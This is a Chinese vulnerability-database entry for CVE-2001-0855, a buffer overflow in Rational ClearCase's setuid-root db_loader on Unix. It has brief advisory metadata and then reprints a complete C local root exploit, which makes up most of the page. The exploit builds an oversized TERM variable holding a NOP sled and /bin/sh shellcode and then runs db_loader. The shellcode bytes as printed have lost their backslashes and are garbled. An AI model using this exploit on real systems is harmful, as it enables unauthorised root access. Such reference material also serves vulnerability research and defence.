合理ClearCase DB Loader TERM环境变量缓冲区溢出漏洞

合理ClearCase DB Loader TERM环境变量缓冲区溢出漏洞

漏洞ID 1106514 漏洞类型 缓冲区溢出
发布时间 2001-11-09 更新时间 2005-10-20
图片[1]-合理ClearCase DB Loader TERM环境变量缓冲区溢出漏洞-安全小百科CVE编号 CVE-2001-0855
图片[2]-合理ClearCase DB Loader TERM环境变量缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200112-021
漏洞平台 Unix CVSS评分 7.2
|漏洞来源
https://www.exploit-db.com/exploits/21150
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200112-021
|漏洞详情
ClearCase4.2及其早期版本的db_loader存在缓冲区溢出漏洞。本地用户借助超长TERM环境变量提升根特权。
|漏洞EXP
source: http://www.securityfocus.com/bid/3523/info

ClearCase is a commercially available software change management package. It is maintained and distributed by Rational.

A problem with the package could lead to a local user gaining elevated privileges. The problem is in the handling of environment variables by db_loader. db_loader does not correctly handle input from a user's TERM environment variable, making it possible for a local user to execute arbitrary code when 550 bytes of data is placed in TERM.

Since the db_loader program is setuid root, this problem can result in a local user gaining administrative access on a vulnerable system. 

/* Rational ClearCase TERM environment variable buffer overflow exploit
*  test it again solaris x86 7, bug found by [email protected]
*  xploit by [email protected]
*  website: http://xfocus.org
*/

#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

#define    RET_DIS            550
#define    NOP            0x90
#define    NNOP            512

#define    ENV_VAR            "TERM"

#define    USER_UPPER_MAGIC    0x08047fff

/* Shell code taken from Pablo Sor's "mailx -F" exploit code    */
char shellCode[] =
    "xebx48x9axffxffxffxffx07xffxc3x5ex31xc0x89x46xb4"
    "x88x46xb9x88x46x07x89x46x0cx31xc0x50xb0x8dxe8xdf"
    "xffxffxffx83xc4x04x31xc0x50xb0x17xe8xd2xffxffxff"
    "x83xc4x04x31xc0x50x8dx5ex08x53x8dx1ex89x5ex08x53"
    "xb0x3bxe8xbbxffxffxffx83xc4x0cxe8xbbxffxffxffx2f"
    "x62x69x6ex2fx73x68xffxffxffxffxffxffxffxffxff";


int get_esp()
{
    __asm__("mov %esp,%eax");
}

int  getEnvAddr(const char* envPtr)
{
    int    envAddr = NULL;
    int    retCode = 0;

    char* charPtr = (char *) get_esp();

    /* Search for the starting address of the environment string for    */
    /* the specified environment variable                    */
    while((unsigned int)  charPtr < (unsigned int) USER_UPPER_MAGIC)
    {
        retCode = memcmp((unsigned char *) charPtr++, envPtr, 4);
        /* Found */
        if(retCode == 0)
        {
            envAddr = (int) (charPtr - 1);
            break;
        }
    }

    return envAddr;
}

int main(int argc, char** argv)
{

    char    buff[256] = {0};

    int*    intPtr = NULL;
    char*    buffPtr = NULL;
    char*    charPtr = NULL;

    int    retAddr = 0;
    int    retValue = 0;


    int    buffLen = 0;
    int    adjustment = 0;
    int    strLen = 0;
    int    alignment = 0;
    int    diff = 0;
    int    i;

    int shellCodeLen = strlen(shellCode);

    if(argc == 2)
    {
        adjustment = atoi(argv[1]);
    }

    buffLen = strlen(ENV_VAR) + RET_DIS + NNOP + shellCodeLen + 1;

    charPtr = getenv(ENV_VAR);

    /* Adjust the stupid alignment    */
    strLen = strlen(charPtr) + 1;
    alignment = strLen % 4;
    if(alignment != 0)
    {
        alignment = 4 - alignment;
        strLen += alignment;
    }

    alignment = buffLen % 4;
    if(alignment != 0)
    {
        alignment = 4 - alignment;
        buffLen += alignment;
    }

    retValue = getEnvAddr(ENV_VAR);

    diff = buffLen - strLen;

    retAddr = retValue - diff + strlen(ENV_VAR) + 1;

    alignment = retAddr % 4;

    if(alignment != 0)
    {
        alignment = 4 - alignment;
    }
    retAddr += RET_DIS + alignment +  adjustment;

    /* Allocate memory for the evil buffer    */
    buffPtr = (char *) malloc(buffLen);

    if(buffPtr != NULL)
    {

        strcpy(buffPtr, ENV_VAR);
        strcat(buffPtr, "=");
        charPtr = (char *) (buffPtr + strlen(buffPtr));

        /* Fill the rest of the buffer with 'A'     */
        memset(charPtr, 0x41, buffLen - strlen(buffPtr)-4);

        /* Butt in the return address            */
        intPtr = (int *) (charPtr + RET_DIS);
        *intPtr++ = retAddr;

        /* Make sure the NOPs are located word aligned     */
        charPtr = (char *) intPtr;
        charPtr += alignment;

        for(i=0; i<NNOP; i++)
        {
            *charPtr++ = NOP;
        }

        for(i=0; i<shellCodeLen; i++)
        {
            *charPtr++ = shellCode[i];
        }
        *charPtr = 0;

        putenv(buffPtr);

        printf("Jumping to 0x%.8xn", retAddr);

        execl("/usr/atria/etc/db_loader", "xfocus", NULL);
    }
    else
    {
        printf("No more free memory!");
    }
}

/*..Thanks for all xfocus members.. especially virtualcat*/
|参考资料

来源:BUGTRAQ
名称:20011109ClearCasedb_loaderTERMenvironmentvariablebufferoverflowvulnerability
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=100528623328037&w;=2
来源:BID
名称:3523
链接:http://www.securityfocus.com/bid/3523
来源:XF
名称:clearcase-dbloader-term-bo(7488)
链接:http://www.iss.net/security_center/static/7488.php

相关推荐: ChangePassword Local Privilege Escalation Vulnerability

ChangePassword Local Privilege Escalation Vulnerability 漏洞ID 1097438 漏洞类型 Design Error 发布时间 2004-12-15 更新时间 2004-12-15 CVE编号 N/A C…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享